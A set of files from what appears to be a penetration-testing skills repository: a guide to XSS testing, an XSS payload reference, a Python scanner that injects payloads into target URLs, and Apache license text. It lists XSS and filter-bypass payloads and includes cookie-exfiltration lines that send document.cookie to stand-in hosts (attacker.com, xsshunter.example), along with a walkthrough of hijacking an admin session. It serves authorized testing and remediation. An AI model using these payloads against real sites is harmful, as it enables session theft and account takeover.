the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,201 @@
|
||||
---
|
||||
name: testing-for-xss-vulnerabilities
|
||||
description: Tests web applications for reflected, stored, and DOM-based Cross-Site
|
||||
Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active
|
||||
Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session
|
||||
hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or
|
||||
when evaluating input sanitization and output encoding coverage.
|
||||
domain: cybersecurity
|
||||
subdomain: penetration-testing
|
||||
tags:
|
||||
- XSS
|
||||
- cross-site-scripting
|
||||
- client-side-security
|
||||
- OWASP-A03
|
||||
- JavaScript-injection
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- ID.RA-01
|
||||
- ID.RA-06
|
||||
- GV.OV-02
|
||||
- DE.AE-07
|
||||
mitre_attack:
|
||||
- T1595
|
||||
- T1190
|
||||
- T1059
|
||||
- T1078
|
||||
- T1055
|
||||
---
|
||||
# Testing for XSS Vulnerabilities
|
||||
|
||||
## When to Use
|
||||
|
||||
- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
|
||||
- Evaluating the effectiveness of input sanitization and output encoding across all application features
|
||||
- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
|
||||
- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
|
||||
- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering
|
||||
|
||||
**Do not use** against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Authorized scope defining the target web application and acceptable testing activities
|
||||
- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
|
||||
- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
|
||||
- XSS Hunter or Burp Collaborator for out-of-band payload verification
|
||||
- SecLists XSS payload lists and custom payloads for WAF bypass scenarios
|
||||
|
||||
|
||||
> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Input and Output Mapping
|
||||
|
||||
Map every location where user input enters and is rendered by the application:
|
||||
|
||||
- **Reflected inputs**: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
|
||||
- **Stored inputs**: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
|
||||
- **DOM inputs**: Identify client-side JavaScript that reads from `location.hash`, `location.search`, `document.referrer`, `window.name`, `postMessage`, or `localStorage` and writes to the DOM
|
||||
- **Output context identification**: For each reflected input, determine the rendering context:
|
||||
- HTML body: `<div>USER_INPUT</div>`
|
||||
- HTML attribute: `<input value="USER_INPUT">`
|
||||
- JavaScript string: `var x = 'USER_INPUT';`
|
||||
- URL context: `<a href="USER_INPUT">`
|
||||
- CSS context: `<div style="color: USER_INPUT">`
|
||||
|
||||
### Step 2: Reflected XSS Testing
|
||||
|
||||
Test reflected injection points with context-appropriate payloads:
|
||||
|
||||
- **HTML body context**: `<script>alert(document.domain)</script>`, `<img src=x onerror=alert(1)>`, `<svg onload=alert(1)>`
|
||||
- **HTML attribute context**: `" onfocus=alert(1) autofocus="`, `" onmouseover=alert(1) "`, `"><script>alert(1)</script>`
|
||||
- **JavaScript string context**: `';alert(1)//`, `\';alert(1)//`, `</script><script>alert(1)</script>`
|
||||
- **URL/href context**: `javascript:alert(1)`, `data:text/html,<script>alert(1)</script>`
|
||||
- **Inside HTML comments**: `--><script>alert(1)</script><!--`
|
||||
- **Filter bypass payloads** (when basic payloads are blocked):
|
||||
- Case variation: `<ScRiPt>alert(1)</sCrIpT>`
|
||||
- Event handlers: `<details open ontoggle=alert(1)>`
|
||||
- SVG: `<svg><animate onbegin=alert(1) attributeName=x>`
|
||||
- Encoding: `<img src=x onerror=alert(1)>`
|
||||
|
||||
### Step 3: Stored XSS Testing
|
||||
|
||||
Test persistent storage points that render input to other users:
|
||||
|
||||
- Submit XSS payloads to every stored input field identified in Step 1
|
||||
- Use a unique identifier in each payload to track which inputs trigger: `<script>alert('XSS-PROFILE-001')</script>`
|
||||
- Check all locations where the stored input is rendered (the same input may appear on multiple pages)
|
||||
- Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
|
||||
- Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
|
||||
- Use XSS Hunter payloads (`"><script src=https://yourxsshunter.xss.ht></script>`) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access
|
||||
|
||||
### Step 4: DOM-Based XSS Testing
|
||||
|
||||
Analyze client-side JavaScript for unsafe DOM manipulation:
|
||||
|
||||
- **Source identification**: Search JavaScript for dangerous sources that read attacker-controlled input:
|
||||
- `document.location`, `document.URL`, `document.referrer`
|
||||
- `location.hash`, `location.search`, `location.href`
|
||||
- `window.name`, `postMessage` event data
|
||||
- **Sink identification**: Search for dangerous sinks that write to the DOM:
|
||||
- `innerHTML`, `outerHTML`, `document.write()`, `document.writeln()`
|
||||
- `eval()`, `setTimeout()`, `setInterval()`, `Function()`
|
||||
- `element.setAttribute()` with event handlers, `jQuery.html()`, `.append()`, `v-html` (Vue), `dangerouslySetInnerHTML` (React)
|
||||
- **Trace data flow**: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.
|
||||
- **Framework-specific testing**: Test React `dangerouslySetInnerHTML`, Angular template injection (`{{constructor.constructor('alert(1)')()}}`), Vue `v-html` directive
|
||||
|
||||
### Step 5: CSP Bypass and Advanced Exploitation
|
||||
|
||||
Test Content Security Policy effectiveness and demonstrate real-world impact:
|
||||
|
||||
- **CSP analysis**: Review the CSP header for weaknesses:
|
||||
- `unsafe-inline` in script-src allows inline scripts
|
||||
- `unsafe-eval` allows eval() and similar functions
|
||||
- Wildcard domains (`*.googleapis.com`) may host JSONP endpoints usable for CSP bypass
|
||||
- `base-uri` not set allows `<base>` tag injection to redirect relative script loads
|
||||
- **JSONP bypass**: If CSP allows a domain with JSONP endpoints, use `<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>`
|
||||
- **Impact demonstration**:
|
||||
- Session hijacking: `<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>`
|
||||
- Credential phishing: Inject a fake login form overlay that submits to the attacker's server
|
||||
- Keylogging: Inject JavaScript that captures keystrokes on the page
|
||||
- Account takeover: Use XSS to change the victim's email address and trigger a password reset
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **Reflected XSS** | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |
|
||||
| **Stored XSS** | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |
|
||||
| **DOM-Based XSS** | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |
|
||||
| **Content Security Policy** | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |
|
||||
| **Output Encoding** | Converting special characters to their HTML entity equivalents (e.g., `<` to `<`) to prevent the browser from interpreting user input as code |
|
||||
| **Sink** | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Burp Suite Professional**: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing
|
||||
- **XSS Hunter**: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS
|
||||
- **DOMPurify**: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version
|
||||
- **Browser Developer Tools**: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Stored XSS in Customer Support Ticket System
|
||||
|
||||
**Context**: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.
|
||||
|
||||
**Approach**:
|
||||
1. Submit a support ticket with a unique XSS Hunter payload in the ticket description
|
||||
2. The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot
|
||||
3. Use the captured admin session cookie to access the admin panel as the support agent
|
||||
4. From the admin panel, access customer records, order data, and refund functionality
|
||||
5. Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised
|
||||
6. Test if CSP would have prevented the attack (in this case, no CSP header was present)
|
||||
|
||||
**Pitfalls**:
|
||||
- Only testing for `<script>alert(1)</script>` and missing XSS that fires through event handlers or in non-HTML contexts
|
||||
- Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)
|
||||
- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable
|
||||
- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
## Finding: Stored XSS in Support Ticket Description
|
||||
|
||||
**ID**: XSS-002
|
||||
**Severity**: High (CVSS 8.1)
|
||||
**Affected URL**: POST /api/tickets (submission), GET /admin/tickets/8847 (trigger)
|
||||
**Parameter**: description (POST body)
|
||||
**XSS Type**: Stored (persistent)
|
||||
|
||||
**Description**:
|
||||
The support ticket description field does not sanitize HTML input before storing
|
||||
it in the database. When a support agent views the ticket in the admin panel, the
|
||||
unsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript
|
||||
execution in the context of the admin application.
|
||||
|
||||
**Proof of Concept**:
|
||||
Submitted ticket with payload:
|
||||
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">
|
||||
|
||||
The payload fired when the agent viewed the ticket, exfiltrating the admin session
|
||||
cookie to the XSS Hunter server.
|
||||
|
||||
**Impact**:
|
||||
An attacker can steal the session tokens of support agents and administrators,
|
||||
gaining access to the admin panel with privileges to view customer PII, process
|
||||
refunds, and modify orders. Affects all 23 support agents who view customer tickets.
|
||||
|
||||
**Remediation**:
|
||||
1. Implement output encoding using a context-aware library (OWASP Java Encoder,
|
||||
DOMPurify for client-side rendering)
|
||||
2. Deploy Content Security Policy header:
|
||||
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
|
||||
3. Set HttpOnly flag on session cookies to prevent JavaScript access
|
||||
4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)
|
||||
```
|
||||
@@ -0,0 +1,53 @@
|
||||
# API Reference: Testing for XSS Vulnerabilities
|
||||
|
||||
## requests Library for XSS Testing
|
||||
|
||||
### Reflection Testing
|
||||
```python
|
||||
from urllib.parse import quote
|
||||
# Inject canary to find reflection points
|
||||
resp = requests.get(f"{url}?q={canary}")
|
||||
if canary in resp.text:
|
||||
# Input is reflected - test payloads
|
||||
resp = requests.get(f"{url}?q={quote(payload)}")
|
||||
```
|
||||
|
||||
## XSS Payload Categories
|
||||
| Context | Example Payload |
|
||||
|---------|----------------|
|
||||
| HTML body | `<script>alert(document.domain)</script>` |
|
||||
| HTML attribute | `" onfocus=alert(1) autofocus="` |
|
||||
| JavaScript string | `';alert(1)//` |
|
||||
| URL/href | `javascript:alert(1)` |
|
||||
| Event handler | `<img src=x onerror=alert(1)>` |
|
||||
| SVG | `<svg onload=alert(1)>` |
|
||||
| Filter bypass | `<ScRiPt>alert(1)</sCrIpT>` |
|
||||
|
||||
## XSS Types
|
||||
| Type | Description | Persistence |
|
||||
|------|-------------|-------------|
|
||||
| Reflected | Payload in URL/request, reflected in response | Non-persistent |
|
||||
| Stored | Payload saved server-side, rendered to others | Persistent |
|
||||
| DOM-based | Payload processed by client-side JavaScript | Client-side |
|
||||
|
||||
## CSP Analysis
|
||||
| Directive | Insecure Value | Risk |
|
||||
|-----------|---------------|------|
|
||||
| `script-src` | `'unsafe-inline'` | Allows inline `<script>` tags |
|
||||
| `script-src` | `'unsafe-eval'` | Allows `eval()` and similar |
|
||||
| `script-src` | `*.googleapis.com` | May host JSONP endpoints |
|
||||
| `base-uri` | Not set | Allows `<base>` tag injection |
|
||||
| `default-src` | `*` | Allows scripts from any origin |
|
||||
|
||||
## Cookie Security Flags
|
||||
| Flag | Purpose |
|
||||
|------|---------|
|
||||
| `HttpOnly` | Prevents JavaScript access to cookies |
|
||||
| `Secure` | Only send over HTTPS |
|
||||
| `SameSite` | Cross-site request protection |
|
||||
|
||||
## References
|
||||
- OWASP XSS Guide: https://owasp.org/www-community/attacks/xss/
|
||||
- XSS Filter Evasion: https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
|
||||
- CSP Evaluator: https://csp-evaluator.withgoogle.com/
|
||||
- PortSwigger XSS: https://portswigger.net/web-security/cross-site-scripting
|
||||
@@ -0,0 +1,206 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for testing Cross-Site Scripting (XSS) vulnerabilities during authorized assessments."""
|
||||
|
||||
import requests
|
||||
import json
|
||||
import argparse
|
||||
import urllib3
|
||||
from datetime import datetime
|
||||
from urllib.parse import urljoin, quote
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
XSS_PAYLOADS = {
|
||||
"html_body": [
|
||||
'<script>alert(document.domain)</script>',
|
||||
'<img src=x onerror=alert(1)>',
|
||||
'<svg onload=alert(1)>',
|
||||
'<details open ontoggle=alert(1)>',
|
||||
'<body onload=alert(1)>',
|
||||
],
|
||||
"html_attribute": [
|
||||
'" onfocus=alert(1) autofocus="',
|
||||
'" onmouseover=alert(1) "',
|
||||
'"><script>alert(1)</script>',
|
||||
"' onfocus=alert(1) autofocus='",
|
||||
],
|
||||
"javascript_context": [
|
||||
"';alert(1)//",
|
||||
"\\';alert(1)//",
|
||||
"</script><script>alert(1)</script>",
|
||||
],
|
||||
"filter_bypass": [
|
||||
'<ScRiPt>alert(1)</sCrIpT>',
|
||||
'<img src=x onerror=alert(1)>',
|
||||
'<svg/onload=alert(1)>',
|
||||
'<input onfocus=alert(1) autofocus>',
|
||||
],
|
||||
}
|
||||
|
||||
CANARY = "xsscanary7391"
|
||||
|
||||
|
||||
def detect_reflection_context(response_text, canary):
|
||||
"""Determine the rendering context of reflected input."""
|
||||
contexts = []
|
||||
if f">{canary}<" in response_text or f">{canary} " in response_text:
|
||||
contexts.append("html_body")
|
||||
if f'="{canary}"' in response_text or f"='{canary}'" in response_text:
|
||||
contexts.append("html_attribute")
|
||||
if f"'{canary}'" in response_text or f'"{canary}"' in response_text:
|
||||
if "<script>" in response_text.lower():
|
||||
contexts.append("javascript_context")
|
||||
if f'href="{canary}' in response_text or f"href='{canary}" in response_text:
|
||||
contexts.append("url_context")
|
||||
return contexts if contexts else ["html_body"]
|
||||
|
||||
|
||||
def test_reflected_xss(base_url, params, token=None):
|
||||
"""Test URL parameters for reflected XSS."""
|
||||
print("\n[*] Testing reflected XSS...")
|
||||
findings = []
|
||||
headers = {}
|
||||
if token:
|
||||
headers["Authorization"] = f"Bearer {token}"
|
||||
|
||||
for param_url in params:
|
||||
url = urljoin(base_url, param_url)
|
||||
canary_url = url.replace("FUZZ", CANARY)
|
||||
try:
|
||||
resp = requests.get(canary_url, headers=headers, timeout=10, verify=False)
|
||||
if CANARY not in resp.text:
|
||||
continue
|
||||
contexts = detect_reflection_context(resp.text, CANARY)
|
||||
print(f" [+] Reflection found at {param_url} (contexts: {contexts})")
|
||||
char_test_url = url.replace("FUZZ", '<>"\'&/')
|
||||
char_resp = requests.get(char_test_url, headers=headers, timeout=10, verify=False)
|
||||
unencoded = []
|
||||
for ch in ['<', '>', '"', "'", '/']:
|
||||
if ch in char_resp.text and f"&{ch}" not in char_resp.text:
|
||||
unencoded.append(ch)
|
||||
|
||||
for context in contexts:
|
||||
payloads = XSS_PAYLOADS.get(context, XSS_PAYLOADS["html_body"])
|
||||
for payload in payloads:
|
||||
test_url = url.replace("FUZZ", quote(payload))
|
||||
try:
|
||||
test_resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
|
||||
if payload in test_resp.text or payload.lower() in test_resp.text.lower():
|
||||
findings.append({
|
||||
"type": "REFLECTED_XSS", "url": param_url,
|
||||
"payload": payload, "context": context,
|
||||
"severity": "HIGH",
|
||||
})
|
||||
print(f" [!] XSS CONFIRMED: {param_url} | payload: {payload[:50]}")
|
||||
break
|
||||
except requests.RequestException:
|
||||
continue
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def test_stored_xss(base_url, submit_endpoint, display_endpoint, token, field="body"):
|
||||
"""Test stored XSS via form submission."""
|
||||
print(f"\n[*] Testing stored XSS on {submit_endpoint}...")
|
||||
findings = []
|
||||
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
|
||||
submit_url = urljoin(base_url, submit_endpoint)
|
||||
display_url = urljoin(base_url, display_endpoint)
|
||||
|
||||
for payload_type, payloads in XSS_PAYLOADS.items():
|
||||
for payload in payloads[:2]:
|
||||
marker = f"XSS-{payload_type}-{hash(payload) % 10000}"
|
||||
tagged_payload = f"{marker}:{payload}"
|
||||
try:
|
||||
resp = requests.post(submit_url, headers=headers,
|
||||
json={field: tagged_payload}, timeout=10, verify=False)
|
||||
if resp.status_code in (200, 201):
|
||||
display_resp = requests.get(display_url, headers=headers,
|
||||
timeout=10, verify=False)
|
||||
if payload in display_resp.text:
|
||||
findings.append({
|
||||
"type": "STORED_XSS", "submit": submit_endpoint,
|
||||
"display": display_endpoint, "payload": payload,
|
||||
"severity": "CRITICAL",
|
||||
})
|
||||
print(f" [!] STORED XSS: {payload[:50]}")
|
||||
break
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def check_csp_header(base_url):
|
||||
"""Analyze Content Security Policy header for XSS protection."""
|
||||
print(f"\n[*] Checking CSP header on {base_url}...")
|
||||
findings = []
|
||||
try:
|
||||
resp = requests.get(base_url, timeout=10, verify=False)
|
||||
csp = resp.headers.get("Content-Security-Policy", "")
|
||||
xxp = resp.headers.get("X-XSS-Protection", "")
|
||||
|
||||
if not csp:
|
||||
findings.append({"type": "NO_CSP", "severity": "MEDIUM"})
|
||||
print(" [!] No Content-Security-Policy header")
|
||||
else:
|
||||
print(f" [+] CSP: {csp[:100]}...")
|
||||
if "unsafe-inline" in csp:
|
||||
findings.append({"type": "CSP_UNSAFE_INLINE", "severity": "HIGH"})
|
||||
print(" [!] CSP allows 'unsafe-inline'")
|
||||
if "unsafe-eval" in csp:
|
||||
findings.append({"type": "CSP_UNSAFE_EVAL", "severity": "HIGH"})
|
||||
print(" [!] CSP allows 'unsafe-eval'")
|
||||
if "*" in csp:
|
||||
findings.append({"type": "CSP_WILDCARD", "severity": "MEDIUM"})
|
||||
print(" [!] CSP contains wildcard domains")
|
||||
|
||||
if not xxp:
|
||||
print(" [INFO] No X-XSS-Protection header (deprecated)")
|
||||
cookie_headers = resp.headers.get("Set-Cookie", "")
|
||||
if cookie_headers and "httponly" not in cookie_headers.lower():
|
||||
findings.append({"type": "COOKIE_NO_HTTPONLY", "severity": "MEDIUM"})
|
||||
print(" [!] Session cookie missing HttpOnly flag")
|
||||
except requests.RequestException as e:
|
||||
print(f" [-] Error: {e}")
|
||||
return findings
|
||||
|
||||
|
||||
def generate_report(findings, output_path):
|
||||
"""Generate XSS assessment report."""
|
||||
report = {
|
||||
"assessment_date": datetime.now().isoformat(),
|
||||
"total_findings": len(findings),
|
||||
"by_type": {},
|
||||
"findings": findings,
|
||||
}
|
||||
for f in findings:
|
||||
t = f.get("type", "UNKNOWN")
|
||||
report["by_type"][t] = report["by_type"].get(t, 0) + 1
|
||||
with open(output_path, "w") as fh:
|
||||
json.dump(report, fh, indent=2)
|
||||
print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="XSS Vulnerability Testing Agent")
|
||||
parser.add_argument("base_url", help="Base URL of the target")
|
||||
parser.add_argument("--token", help="Bearer token for authenticated testing")
|
||||
parser.add_argument("--params", nargs="+", default=["/search?q=FUZZ", "/page?name=FUZZ"])
|
||||
parser.add_argument("--submit-endpoint", help="Endpoint to submit stored XSS")
|
||||
parser.add_argument("--display-endpoint", help="Endpoint where stored input is displayed")
|
||||
parser.add_argument("-o", "--output", default="xss_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
print(f"[*] XSS Vulnerability Assessment: {args.base_url}")
|
||||
findings = []
|
||||
findings.extend(check_csp_header(args.base_url))
|
||||
findings.extend(test_reflected_xss(args.base_url, args.params, args.token))
|
||||
if args.submit_endpoint and args.display_endpoint:
|
||||
findings.extend(test_stored_xss(args.base_url, args.submit_endpoint,
|
||||
args.display_endpoint, args.token))
|
||||
generate_report(findings, args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
